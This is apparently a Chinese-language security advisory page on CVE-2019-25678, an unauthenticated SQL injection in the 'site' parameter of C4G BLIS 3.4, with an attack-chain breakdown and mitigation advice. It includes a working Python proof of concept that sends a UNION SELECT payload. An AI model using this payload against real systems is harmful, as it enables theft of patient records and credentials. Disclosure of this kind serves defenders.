IPBUF安全漏洞报告
English
CVE-2019-25678 CVSS 8.2 高危

CVE-2019-25678 C4G BLIS SQL注入漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2019-25678
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
C4G Basic Laboratory Information System (BLIS)

相关标签

SQL注入C4G BLIS无需认证数据泄露高危漏洞

漏洞概述

C4G Basic Laboratory Information System 3.4版本中存在严重的SQL注入漏洞。由于该系统在处理用户输入时缺乏有效的安全过滤机制,未经身份验证的远程攻击者可以利用`users_select.php`端点的`site`参数注入恶意SQL代码。成功利用此漏洞可能导致攻击者执行任意SQL命令,进而窃取数据库中的敏感信息,包括患者病历记录以及系统管理凭据,对数据机密性造成严重影响。

技术细节

该漏洞的技术核心在于C4G Basic Laboratory Information System 3.4版本在`users_select.php`接口处存在输入验证缺失问题。具体而言,应用程序直接将GET请求中的`site`参数拼接到SQL查询语句中,未使用参数化查询或输入过滤函数。攻击者可以通过构造特定的SQL载荷(如单引号闭合、UNION操作符或布尔逻辑)来篡改原始查询逻辑。由于该漏洞无需用户交互且无需身份认证,攻击者可远程利用。利用方式通常包括使用SQLMap等自动化工具发送带有恶意Payload的GET请求,通过报错注入、联合查询或盲注技术提取数据库结构。一旦成功,攻击者可读取`users`表中的管理员哈希或其他敏感配置信息,进一步可能导致服务器被完全控制。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器运行的是C4G Basic Laboratory Information System 3.4版本,并确定`users_select.php`接口的存在。
STEP 2
武器化
攻击者构造特定的SQL注入载荷,设计用于通过`site`参数绕过基本的输入检查并提取数据库版本或表结构。
STEP 3
交付
攻击者向目标服务器发送包含恶意`site`参数的HTTP GET请求,无需进行身份验证。
STEP 4
利用
后端数据库服务器接收到包含恶意SQL代码的查询语句并执行,由于未经过滤,数据库返回了查询结果。
STEP 5
渗出
攻击者分析HTTP响应,提取出敏感数据(如患者记录、管理员密码哈希),并可能利用这些信息进一步横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL endpoint url = "http://target-host/users_select.php" # Malicious SQL payload to test injection # This payload attempts to concatenate the database version payload = { "site": "1' UNION SELECT NULL, version(), NULL-- -" } try: # Send GET request to the vulnerable endpoint response = requests.get(url, params=payload, timeout=10) # Check if the response indicates successful SQL execution if response.status_code == 200: print("[+] Potential SQL Injection successful") print("[+] Response body:") print(response.text) else: print("[-] Request failed with status code:", response.status_code) except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

影响范围

C4G Basic Laboratory Information System 3.4

防御指南

临时缓解措施
建议立即检查系统版本并联系供应商获取修复方案。在未修复前,应严格限制对`users_select.php`文件的访问,例如通过IP白名单或网络ACL进行控制,并在Web服务器前端部署规则以过滤包含单引号、UNION SELECT等关键字的恶意请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表